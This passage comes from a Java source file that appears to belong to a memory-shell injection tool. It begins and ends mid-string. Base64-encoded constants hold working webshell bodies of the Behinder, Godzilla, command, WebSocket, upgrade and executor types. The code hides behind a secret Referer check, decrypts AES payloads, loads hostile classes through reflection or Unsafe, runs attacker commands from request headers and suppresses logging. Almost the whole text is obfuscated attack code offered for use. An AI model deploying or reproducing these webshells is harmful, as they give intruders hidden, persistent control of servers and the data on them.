ID0gKGphdmEudXRpbC5BcnJheUxpc3QpbmV4dC5nZXRWYWx1ZSgpOw0KCQkJCQkJaWYgKHBhcmFtVmFsdWVMaXN0LnNpemUoKSA9PSAwKSB7DQoJCQkJCQkJcGF5bG9hZC5hcHBlbmQocGFyYW1LZXkpOw0KCQkJCQkJfSBlbHNlIHsNCgkJCQkJCQlwYXlsb2FkLmFwcGVuZChwYXJhbUtleSkuYXBwZW5kKCI9IikuYXBwZW5kKHBhcmFtVmFsdWVMaXN0LmdldCgwKSk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQkJbm9Mb2cobGFzdFJlcXVlc3QpOw0KCQkJCVN0cmluZyBrID0gImYzNTk3NDBiZDFjZGE5OTQiOw0KCQkJCXNlc3Npb24ucHV0VmFsdWUoInUiLCBrKTsNCgkJCQlqYXZheC5jcnlwdG8uQ2lwaGVyIGMgPSBqYXZheC5jcnlwdG8uQ2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTsNCgkJCQljLmluaXQoMiwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCAiQUVTIikpOw0KCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBDbGFzcy5mb3JOYW1lKCJqYXZhLmxhbmcuQ2xhc3NMb2FkZXIiKS5nZXREZWNsYXJlZE1ldGhvZCgiZGVmaW5lQ2xhc3MiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3MsIGludC5jbGFzcywgaW50LmNsYXNzfSk7DQoJCQkJbWV0aG9kLnNldEFjY2Vzc2libGUodHJ1ZSk7DQoJCQkJYnl0ZVtdIGV2aWxjbGFzc19ieXRlID0gYy5kb0ZpbmFsKGJhc2U2NERlY29kZShwYXlsb2FkLnRvU3RyaW5nKCkpKTsNCgkJCQlDbGFzcyAgZXZpbGNsYXNzICAgICAgPSAoQ2xhc3MpIG1ldGhvZC5pbnZva2UoVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRDb250ZXh0Q2xhc3NMb2FkZXIoKSxuZXcgT2JqZWN0W117ZXZpbGNsYXNzX2J5dGUsIEludGVnZXIudmFsdWVPZigwKSwgSW50ZWdlci52YWx1ZU9mKGV2aWxjbGFzc19ieXRlLmxlbmd0aCl9KTsNCgkJCQlldmlsY2xhc3MubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpOw0KCQkJCX0NCgkJCX0NCgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJfQ0KCX0="; - - public static String BEHINDER_SHELL = "ew0KCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0ICByZXF1ZXN0ICA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0KSAkMTsNCgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UpICQyOw0KCQl0cnkgew0KCQkJaWYgKHJlcXVlc3QuZ2V0SGVhZGVyKCJSZWZlcmVyIikuZXF1YWxzSWdub3JlQ2FzZSgiaHR0cHM6Ly9RSTRMLmNuLyIpKSB7DQoJCQkJaWYgKHJlcXVlc3QuZ2V0TWV0aG9kKCkuZXF1YWxzKCJQT1NUIikpIHsNCgkJCQkJamF2YS51dGlsLkhhc2hNYXAgICAgIHBhZ2VDb250ZXh0ID0gbmV3IGphdmEudXRpbC5IYXNoTWFwKCk7DQoJCQkJCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2Vzc2lvbiBzZXNzaW9uID0gcmVxdWVzdC5nZXRTZXNzaW9uKCk7DQoJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVxdWVzdCIsIHJlcXVlc3QpOw0KCQkJCQlwYWdlQ29udGV4dC5wdXQoInJlc3BvbnNlIiwgcmVzcG9uc2UpOw0KCQkJCQlwYWdlQ29udGV4dC5wdXQoInNlc3Npb24iLCBzZXNzaW9uKTsNCgkJCQkJamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcihyZXF1ZXN0LmdldFJlYWRlcigpLnJlYWRMaW5lKCkpOw0KCQkJCQkNCgkJCQkJU3RyaW5nIGsgPSAiZjM1OTc0MGJkMWNkYTk5NCI7DQoJCQkJCXNlc3Npb24ucHV0VmFsdWUoInUiLCBrKTsNCgkJCQkJamF2YXguY3J5cHRvLkNpcGhlciBjID0gamF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7DQoJCQkJCWMuaW5pdCgyLCBuZXcgamF2YXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksICJBRVMiKSk7DQoJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBDbGFzcy5mb3JOYW1lKCJqYXZhLmxhbmcuQ2xhc3NMb2FkZXIiKS5nZXREZWNsYXJlZE1ldGhvZCgiZGVmaW5lQ2xhc3MiLCBuZXcgCUNsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOw0KCQkJCQltZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsNCgkJCQkJYnl0ZVtdIGV2aWxjbGFzc19ieXRlID0gYy5kb0ZpbmFsKGJhc2U2NERlY29kZShwYXlsb2FkLnRvU3RyaW5nKCkpKTsNCgkJCQkJQ2xhc3MgIGV2aWxjbGFzcyAgICAgID0gKENsYXNzKSBtZXRob2QuaW52b2tlKFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCksbmV3IE9iamVjdFtde2V2aWxjbGFzc19ieXRlLCAJSW50ZWdlci52YWx1ZU9mKDApLCBJbnRlZ2VyLnZhbHVlT2YoZXZpbGNsYXNzX2J5dGUubGVuZ3RoKX0pOw0KCQkJCQlldmlsY2xhc3MubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpOw0KCQkJCX0NCgkJCX0NCgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJfQ0KfQ=="; - - public static String BEHINDER_SHELL_OBSCURE = "ew0KCQkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCAgcmVxdWVzdCAgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCkgJDE7DQoJCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSByZXNwb25zZSA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSkgJDI7DQoJCQl0cnkgew0KCQkJCWlmIChyZXF1ZXN0LmdldEhlYWRlcigiUmVmZXJlciIpLmVxdWFsc0lnbm9yZUNhc2UoImh0dHBzOi8vUUk0TC5jbi8iKSkgew0KCQkJCQlpZiAocmVxdWVzdC5nZXRNZXRob2QoKS5lcXVhbHMoIlBPU1QiKSkgew0KCQkJCQkJamF2YS51dGlsLkhhc2hNYXAgICAgIHBhZ2VDb250ZXh0ID0gbmV3IGphdmEudXRpbC5IYXNoTWFwKCk7DQoJCQkJCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlc3Npb24gc2Vzc2lvbiA9IHJlcXVlc3QuZ2V0U2Vzc2lvbigpOw0KCQkJCQkJcGFnZUNvbnRleHQucHV0KCJyZXF1ZXN0IiwgcmVxdWVzdCk7DQoJCQkJCQlwYWdlQ29udGV4dC5wdXQoInJlc3BvbnNlIiwgcmVzcG9uc2UpOw0KCQkJCQkJcGFnZUNvbnRleHQucHV0KCJzZXNzaW9uIiwgc2Vzc2lvbik7DQoJCQkJCQlqYXZhLmxhbmcuU3RyaW5nQnVpbGRlciBwYXlsb2FkID0gbmV3IGphdmEubGFuZy5TdHJpbmdCdWlsZGVyKHJlcXVlc3QuZ2V0UmVhZGVyKCkucmVhZExpbmUoKSk7DQoNCgkJCQkJCVN0cmluZyBrID0gImYzNTk3NDBiZDFjZGE5OTQiOw0KCQkJCQkJc2Vzc2lvbi5wdXRWYWx1ZSgidSIsIGspOw0KCQkJCQkJamF2YXguY3J5cHRvLkNpcGhlciBjID0gamF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7DQoJCQkJCQljLmluaXQoMiwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCAiQUVTIikpOw0KCQkJCQkJYnl0ZVtdIGV2aWxjbGFzc19ieXRlID0gYy5kb0ZpbmFsKGJhc2U2NERlY29kZShwYXlsb2FkLnRvU3RyaW5nKCkpKTsNCgkJCQkJCXN1bi5taXNjLlVuc2FmZSB1bnNhZmUgICAgICAgICA9IGdldFVuc2FmZSgpOw0KCQkJCQkJQ2xhc3MgZXZpbGNsYXNzID11bnNhZmUuZGVmaW5lQW5vbnltb3VzQ2xhc3MoT2JqZWN0LmNsYXNzLCBldmlsY2xhc3NfYnl0ZSwgbnVsbCk7DQoJCQkJCQlldmlsY2xhc3MubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpOw0KCQkJCQl9DQoJCQkJfQ0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJCX0NCgkJfQ=="; - - public static String GODZILLA_SHELL = "ew0KCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0ICByZXF1ZXN0ICA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0KSAkMTsNCgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UpICQyOw0KCQl0cnkgew0KCQkJaWYgKHJlcXVlc3QuZ2V0SGVhZGVyKCJSZWZlcmVyIikuZXF1YWxzSWdub3JlQ2FzZSgiaHR0cHM6Ly9RSTRMLmNuLyIpKSB7DQoJCQkJbm9Mb2cocmVxdWVzdCk7DQoJCQkJU3RyaW5nIHBhc3MgPSAic3UxOCI7DQoJCQkJU3RyaW5nIG1kNSA9IG1kNShwYXNzICsgeGMpOw0KCQkJCWJ5dGVbXSBkYXRhID0gYmFzZTY0RGVjb2RlKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKHBhc3MpKTsNCgkJCQlkYXRhID0geChkYXRhLCBmYWxzZSk7DQoJCQkJaWYgKHBheWxvYWQgPT0gbnVsbCkgew0KCQkJCQlqYXZhLm5ldC5VUkxDbGFzc0xvYWRlciB1cmxDbGFzc0xvYWRlciA9IG5ldyBqYXZhLm5ldC5VUkxDbGFzc0xvYWRlcihuZXcgamF2YS5uZXQuVVJMWzBdLCBUaHJlYWQuY3VycmVudFRocmVhZCgpLmdldENvbnRleHRDbGFzc0xvYWRlcigpKTsNCgkJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kICAgICAgICAgZGVmTWV0aG9kICAgICAgPSBDbGFzc0xvYWRlci5jbGFzcy5nZXREZWNsYXJlZE1ldGhvZCgiZGVmaW5lQ2xhc3MiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3MsIGludC5jbGFzcywgaW50LmNsYXNzfSk7DQoJCQkJCWRlZk1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOw0KCQkJCQlwYXlsb2FkID0gKENsYXNzKSBkZWZNZXRob2QuaW52b2tlKHVybENsYXNzTG9hZGVyLCBuZXcgT2JqZWN0W117ZGF0YSwgSW50ZWdlci52YWx1ZU9mKDApLCBJbnRlZ2VyLnZhbHVlT2YoZGF0YS5sZW5ndGgpfSk7DQoJCQkJfSBlbHNlIHsNCgkJCQkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYXJyT3V0ID0gbmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7DQoJCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgICAgIGYgICAgICA9IHBheWxvYWQubmV3SW5zdGFuY2UoKTsNCgkJCQkJZi5lcXVhbHMoYXJyT3V0KTsNCgkJCQkJZi5lcXVhbHMoZGF0YSk7DQoJCQkJCWYuZXF1YWxzKHJlcXVlc3QpOw0KCQkJCQlyZXNwb25zZS5nZXRXcml0ZXIoKS53cml0ZShtZDUuc3Vic3RyaW5nKDAsIDE2KSk7DQoJCQkJCWYudG9TdHJpbmcoKTsNCgkJCQkJcmVzcG9uc2UuZ2V0V3JpdGVyKCkud3JpdGUoYmFzZTY0RW5jb2RlKHgoYXJyT3V0LnRvQnl0ZUFycmF5KCksIHRydWUpKSk7DQoJCQkJCXJlc3BvbnNlLmdldFdyaXRlcigpLndyaXRlKG1kNS5zdWJzdHJpbmcoMTYpKTsNCgkJCQl9DQoJCQl9DQoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCX0NCn0="; - - public static String GODZILLA_SHELL_FOR_WEBFLUX = "ewogICAgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgc2IgPSAkMTsKICAgIG9yZy5zcHJpbmdmcmFtZXdvcmsudXRpbC5NdWx0aVZhbHVlTWFwIHZhbHVlTWFwID0gJDI7CiAgICBTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYXNzICAgICA9IFBBU1M7CiAgICBTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtZDUgICAgICA9IG1kNShwYXNzICsgeGMpOwogICAgU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFzc1N0ciAgPSB2YWx1ZU1hcC5nZXRGaXJzdChwYXNzKS50b1N0cmluZygpOwogICAgdHJ5IHsKCSAgICBieXRlW10gZGF0YSA9IHgoYmFzZTY0RGVjb2RlKHBhc3NTdHIpLCBmYWxzZSk7CgkgICAgaWYgKHN0b3JlLmdldCgicGF5bG9hZCIpID09IG51bGwpIHsKCQkgICAgamF2YS5uZXQuVVJMQ2xhc3NMb2FkZXIgIHVybENsYXNzTG9hZGVyID0gbmV3IGphdmEubmV0LlVSTENsYXNzTG9hZGVyKG5ldyBqYXZhLm5ldC5VUkxbMF0sIFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCkpOwoJCSAgICBqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZGVmTWV0aG9kICAgICAgPSBDbGFzc0xvYWRlci5jbGFzcy5nZXREZWNsYXJlZE1ldGhvZCgiZGVmaW5lQ2xhc3MiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3MsIGludC5jbGFzcywgaW50LmNsYXNzfSk7CgkJICAgIGRlZk1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCSAgICBzdG9yZS5wdXQoInBheWxvYWQiLCAoQ2xhc3MpIGRlZk1ldGhvZC5pbnZva2UodXJsQ2xhc3NMb2FkZXIsIG5ldyBPYmplY3RbXXtkYXRhLCBJbnRlZ2VyLnZhbHVlT2YoMCksIEludGVnZXIudmFsdWVPZihkYXRhLmxlbmd0aCl9KSk7CgkgICAgfSBlbHNlIHsKCSAgICAJc3RvcmUucHV0KCJwYXJhbWV0ZXJzIiwgZGF0YSk7CgkJICAgIGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGFyck91dCA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCSAgICBPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBmICAgICAgPSAoKENsYXNzKSBzdG9yZS5nZXQoInBheWxvYWQiKSkubmV3SW5zdGFuY2UoKTsKCQkgICAgZi5lcXVhbHMoYXJyT3V0KTsKCQkgICAgZi5lcXVhbHMoZGF0YSk7CgkJICAgIHNiLmFwcGVuZChtZDUuc3Vic3RyaW5nKDAsIDE2KSk7CgkJICAgIGYudG9TdHJpbmcoKTsKCQkgICAgc2IuYXBwZW5kKGJhc2U2NEVuY29kZSh4KGFyck91dC50b0J5dGVBcnJheSgpLCB0cnVlKSkpOwoJCSAgICBzYi5hcHBlbmQobWQ1LnN1YnN0cmluZygxNikpOwoJICAgIH0KICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICB9Cn0="; - - public static String GODZILLA_RAW_SHELL = "ew0KCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0ICByZXF1ZXN0ICA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0KSAkMTsNCgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UpICQyOw0KCQl0cnkgew0KCQkJaWYgKHJlcXVlc3QuZ2V0SGVhZGVyKCJSZWZlcmVyIikuZXF1YWxzSWdub3JlQ2FzZSgiaHR0cHM6Ly9RSTRMLmNuLyIpKSB7DQoJCQkJbm9Mb2cocmVxdWVzdCk7DQoJCQkJYnl0ZVtdIGRhdGEgPSBuZXcgYnl0ZVtJbnRlZ2VyLnBhcnNlSW50KHJlcXVlc3QuZ2V0SGVhZGVyKCJDb250ZW50LUxlbmd0aCIpKV07DQogICAgICAgICAgICAJamF2YS5pby5JbnB1dFN0cmVhbSBpbnB1dFN0cmVhbSA9IHJlcXVlc3QuZ2V0SW5wdXRTdHJlYW0oKTsNCgkJCQlpbnQgX251bSA9IDA7DQogICAgICAgICAgICAJd2hpbGUgKChfbnVtICs9IGlucHV0U3RyZWFtLnJlYWQoZGF0YSwgX251bSwgZGF0YS5sZW5ndGgpKSA8IGRhdGEubGVuZ3RoKSA7DQoJCQkJZGF0YSA9IHgoZGF0YSwgZmFsc2UpOw0KCQkJCWlmIChwYXlsb2FkID09IG51bGwpIHsNCgkJCQkJamF2YS5uZXQuVVJMQ2xhc3NMb2FkZXIgdXJsQ2xhc3NMb2FkZXIgPSBuZXcgamF2YS5uZXQuVVJMQ2xhc3NMb2FkZXIobmV3IGphdmEubmV0LlVSTFswXSwgVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRDb250ZXh0Q2xhc3NMb2FkZXIoKSk7DQoJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCAgICAgICAgIGRlZk1ldGhvZCAgICAgID0gQ2xhc3NMb2FkZXIuY2xhc3MuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOw0KCQkJCQlkZWZNZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsNCgkJCQkJcGF5bG9hZCA9IChDbGFzcykgZGVmTWV0aG9kLmludm9rZSh1cmxDbGFzc0xvYWRlciwgbmV3IE9iamVjdFtde2RhdGEsIEludGVnZXIudmFsdWVPZigwKSwgSW50ZWdlci52YWx1ZU9mKGRhdGEubGVuZ3RoKX0pOw0KCQkJCX0gZWxzZSB7DQoJCQkJCWphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGFyck91dCA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOw0KCQkJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBmICAgICAgPSBwYXlsb2FkLm5ld0luc3RhbmNlKCk7DQoJCQkJCWYuZXF1YWxzKGFyck91dCk7DQoJCQkJCWYuZXF1YWxzKGRhdGEpOw0KCQkJCQlmLnRvU3RyaW5nKCk7DQoJCQkJCXJlc3BvbnNlLmdldE91dHB1dFN0cmVhbSgpLndyaXRlKHgoYXJyT3V0LnRvQnl0ZUFycmF5KCksIHRydWUpKTsNCgkJCQl9DQoJCQl9DQoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCX0NCn0="; - - public static String CMD_SHELL_FOR_TOMCAT = "ew0KCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QgIHJlcXVlc3QgID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QpICQxOw0KCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlIHJlc3BvbnNlID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlKSAkMjsNCgl0cnkgew0KCQlpZiAocmVxdWVzdC5nZXRIZWFkZXIoIlJlZmVyZXIiKS5lcXVhbHNJZ25vcmVDYXNlKCJodHRwczovL1FJNEwuY24vIikpIHsNCgkJCU9iamVjdCBsYXN0UmVzcG9uc2UgPSByZXNwb25zZTsNCg0KCQkJaWYgKCEobGFzdFJlc3BvbnNlIGluc3RhbmNlb2Ygb3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVzcG9uc2VGYWNhZGUpKSB7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIGdldFJlc3BvbnNlID0gamF2YXguc2VydmxldC5TZXJ2bGV0UmVzcG9uc2VXcmFwcGVyLmNsYXNzLmdldE1ldGhvZCgiZ2V0UmVzcG9uc2UiLG51bGwpOw0KCQkJCWxhc3RSZXNwb25zZSA9IGdldFJlc3BvbnNlLmludm9rZShyZXNwb25zZSxudWxsKTsNCgkJCQl3aGlsZSAodHJ1ZSkgew0KCQkJCQlpZiAobGFzdFJlc3BvbnNlIGluc3RhbmNlb2Ygb3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVzcG9uc2VGYWNhZGUpIGJyZWFrOw0KCQkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0UmVzcG9uc2UuaW52b2tlKGxhc3RSZXNwb25zZSxudWxsKTsNCgkJCQl9DQoJCQl9DQoJCQlub0xvZyhyZXF1ZXN0KTsNCgkJCVN0cmluZyBjbWQgPSByZXF1ZXN0LmdldEhlYWRlcigiWC1Ub2tlbi1EYXRhIik7DQoJCQkoKG9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlc3BvbnNlRmFjYWRlKSBsYXN0UmVzcG9uc2UpLmdldFdyaXRlcigpLnByaW50bG4oZXhlY0NtZChjbWQpKTsNCgkJfQ0KCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJfQ0KfQ=="; - - public static String CMD_SHELL = "ew0KCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QgIHJlcXVlc3QgID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QpICQxOw0KCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlIHJlc3BvbnNlID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlKSAkMjsNCgl0cnkgew0KCQlpZiAocmVxdWVzdC5nZXRIZWFkZXIoIlJlZmVyZXIiKS5lcXVhbHNJZ25vcmVDYXNlKCJodHRwczovL1FJNEwuY24vIikpIHsNCgkJCVN0cmluZyBjbWQgPSByZXF1ZXN0LmdldEhlYWRlcigiWC1Ub2tlbi1EYXRhIik7DQoJCQlyZXNwb25zZS5nZXRXcml0ZXIoKS5wcmludGxuKGV4ZWNDbWQoY21kKSk7DQoJCX0NCgl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgew0KCX0NCn0="; - - public static String WS_SHELL = "ewogICAgdHJ5IHsKICAgICAgICBTdHJpbmcgY21kID0gJDE7ICAgICAgIAogICAgICAgIHRoaXMuc2Vzc2lvbi5nZXRCYXNpY1JlbW90ZSgpLnNlbmRUZXh0KGV4ZWNDbWQoY21kKS50b1N0cmluZygpKTsKICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICB9Cn0="; - - public static String UPGRADE_SHELL = "ew0KCQlvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0IHJlcXVlc3QgPSAkMTsNCg0KCQl0cnkgew0KCQkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgY29tbWFuZCAgPSByZXF1ZXN0LmdldEhlYWRlcigiUUk0TCIpOw0KCQkJb3JnLmFwYWNoZS5jb3lvdGUuUmVzcG9uc2UgcmVzcG9uc2UgPSAob3JnLmFwYWNoZS5jb3lvdGUuUmVzcG9uc2UpIGdldEZpZWxkVmFsdWUocmVxdWVzdCwgInJlc3BvbnNlIik7DQoJCQlyZXNwb25zZS5kb1dyaXRlKGphdmEubmlvLkJ5dGVCdWZmZXIud3JhcChleGVjQ21kKGNvbW1hbmQpLnRvQnl0ZUFycmF5KCkpKTsNCgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJfQ0KDQoJCXJldHVybiBmYWxzZTsNCgl9"; - - public static String EXECUTOR_SHELL = "ewoJU3RyaW5nIGNtZCA9IGdldFJlcXVlc3QoKTsKCWlmIChjbWQubGVuZ3RoKCkgPiAxKSB7CgkJZ2V0UmVzcG9uc2UoZXhlY0NtZChjbWQpLnRvQnl0ZUFycmF5KCkpOwoJfQoJdGhpcy5leGVjdXRlKCQxLCBMb25nLnBhcnNlTG9uZygiMCIpLCBqYXZhLnV0aWwuY29uY3VycmVudC5UaW1lVW5pdC5NSUxMSVNFQ09ORFMpOwp9"; - - // executor 需要的从线程里获取 request 对象的方法,需要 getFieldValue TAG 属性 - public static String GET_REQUEST = "cHVibGljIFN0cmluZyBnZXRSZXF1ZXN0KCkgewoJdHJ5IHsKCQlUaHJlYWRbXSB0aHJlYWRzID0gKFRocmVhZFtdKSAoKFRocmVhZFtdKSBnZXRGaWVsZFZhbHVlKFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0VGhyZWFkR3JvdXAoKSwgInRocmVhZHMiKSk7CgkJZm9yIChpbnQgaSA9IDA7IGkgPCB0aHJlYWRzLmxlbmd0aDsgaSsrKSB7CgkJCVRocmVhZCB0aHJlYWQgPSB0aHJlYWRzW2ldOwoJCQlpZiAodGhyZWFkICE9IG51bGwpIHsKCQkJCVN0cmluZyB0aHJlYWROYW1lID0gdGhyZWFkLmdldE5hbWUoKTsKCQkJCWlmICghdGhyZWFkTmFtZS5jb250YWlucygiZXhlYyIpICYmIHRocmVhZE5hbWUuY29udGFpbnMoIkFjY2VwdG9yIikpIHsKCQkJCQlPYmplY3QgdGFyZ2V0ID0gZ2V0RmllbGRWYWx1ZSh0aHJlYWQsICJ0YXJnZXQiKTsKCQkJCQlpZiAodGFyZ2V0IGluc3RhbmNlb2YgamF2YS5sYW5nLlJ1bm5hYmxlKSB7CgkJCQkJCXRyeSB7CgkJCQkJCQlPYmplY3RbXSBvYmplY3RzID0gKE9iamVjdFtdKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUoZ2V0RmllbGRWYWx1ZSh0YXJnZXQsICJ0aGlzJDAiKSwgIm5pb0NoYW5uZWxzIiksICJzdGFjayIpOwoJCQkJCQkJamF2YS5uaW8uQnl0ZUJ1ZmZlciBoZWFwQnl0ZUJ1ZmZlciA9IChqYXZhLm5pby5CeXRlQnVmZmVyKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUob2JqZWN0c1swXSwgImFwcFJlYWRCdWZIYW5kbGVyIiksImJ5dGVCdWZmZXIiKTsKCQkJCQkJCVN0cmluZyAgICAgYSAgICAgICAgICAgICAgPSBuZXcgU3RyaW5nKGhlYXBCeXRlQnVmZmVyLmFycmF5KCksICJVVEYtOCIpOwoJCQkJCQkJaWYgKGEuY29udGFpbnMoVEFHKSkgewoJCQkJCQkJCXJldHVybiBhLnN1YnN0cmluZyhhLmluZGV4T2YoVEFHKSArIFRBRy5sZW5ndGgoKSArIDEsIGEuaW5kZXhPZigiXHIiLCBhLmluZGV4T2YoVEFHKSkgLSAxKTsKCQkJCQkJCX0KCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCQkKCQl9Cgl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJfQoJcmV0dXJuICIiOwp9"; - - // executor 需要的将结果写回 response 对象的方法,需要 getFieldValue base64Encode - public static String GET_RESPONSE = 